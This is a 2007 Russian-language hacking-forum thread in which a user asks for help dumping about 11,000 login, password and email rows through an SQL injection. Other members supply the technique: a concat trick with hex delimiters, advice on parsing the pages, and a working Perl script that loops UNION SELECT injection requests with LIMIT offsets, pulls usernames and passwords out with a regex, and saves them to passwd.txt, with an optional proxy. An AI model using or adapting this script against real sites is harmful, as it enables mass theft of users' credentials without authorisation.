Скрипт для Скуль :)

Discussion in 'Уязвимости' started by Xszz, 14 Oct 2007.

  1. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Привет

    Воозник вопрос :
    Вывожу поля login,password,email
    но отображает оно мне в одной строке одно поле , допустим
    User007:sucks:[email protected]
    Пиходится играться с LIMIT постоянно , а там 11000 полей .
    Так вот , можно ли написать какой-то скрипт на перле или на чем-то ещё , вытягивало строку User007:sucks:[email protected] и соханялов ТХТ ?
    Если да , был бы рад лицезреть сей релиз .
    Спасибо с ув. Xszz
     
  2. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    http://forum.antichat.ru/thread43966.html
    в конце статьи там скрипт на php называецо както типа для вывода через Limit... найдешь ;)

    Только запись не в файл а вывод на экран, ну там не сложно подправить ...
     
    #2 Dr.Z3r0, 14 Oct 2007
    Last edited: 31 May 2011
  3. lsass.exe

    lsass.exe Elder - Старейшина

    Joined:
    5 Aug 2007
    Messages:
    156
    Likes Received:
    161
    Reputations:
    24
    вабще для каждого сайт нужно писать свой парсер, а так прото в цикле делаешь запросы, перебирая limit 0,1 до limit 11000,1 к примеру,и при каждом запросе парсишь страницу вытаскивая нужные тебе данные и сохраняешь в текстовик. Если скинешь сюда пример страницы поможем с парсингом ;)
     
  4. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    span style="font-size:14px;color:#ff6600;font-weight:bold;margin-top:-2px;">2 слова обо мне: </span> <span style="font-size:12px;font-weight:bold">Andry:9080319::[email protected]</span><br><br>
    Сообщение тому, кого ищу:<br>

    Вот фрагмент
     
  5. lsass.exe

    lsass.exe Elder - Старейшина

    Joined:
    5 Aug 2007
    Messages:
    156
    Likes Received:
    161
    Reputations:
    24
    тут два пути, через регулярки либо, если положение данной строки не меняется, то читаешь всю страницу в массив, потом выбираешь нужную строку в ней юзаешь str_replace заменяя все ненужное на null
     
  6. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Это все хорошо , но не силен я на столько в языках .
     
  7. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Зачем это надо? А не легче ли в сам запрос вставить:
    concat(0x73737373,login,0x3a,password,0x3a,email,0x73737373)
    И отслеживать по 0x73737373 ?
     
    1 person likes this.
  8. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Code:
    #!/usr/bin/perl
    use strict;
    #use warnings;
    use LWP::UserAgent;
    
    #число записей, count(имя поля)
    my $num = '90';
    
    my $ua = LWP::UserAgent->new;
    $ua->agent("Nintendo X2");
    #$ua->proxy(['http', 'ftp'] => 'http://login:pass@proxy-ip:port');
    open(FH,">passwd.txt") or die "$!";
    for(0..$num) {
      my $req = HTTP::Request->new(GET => "http://site.com/index.php?id=-1+union+select+1,concat(char(64,64),username,pass,char(64,64)+limit+$_,1");
      $req->header('Accept' => 'text/html');
      my $res = $ua->request($req);
      $res->content =~/@@(.+?)@@/;
      print FH $1,"\n";
    }
    close FH;
    
    не забудь конкатнуть вначале чар 64,64 и в конце
    и жди.. на многопоточность влом переписывать
     
  9. lsass.exe

    lsass.exe Elder - Старейшина

    Joined:
    5 Aug 2007
    Messages:
    156
    Likes Received:
    161
    Reputations:
    24
    можно и так )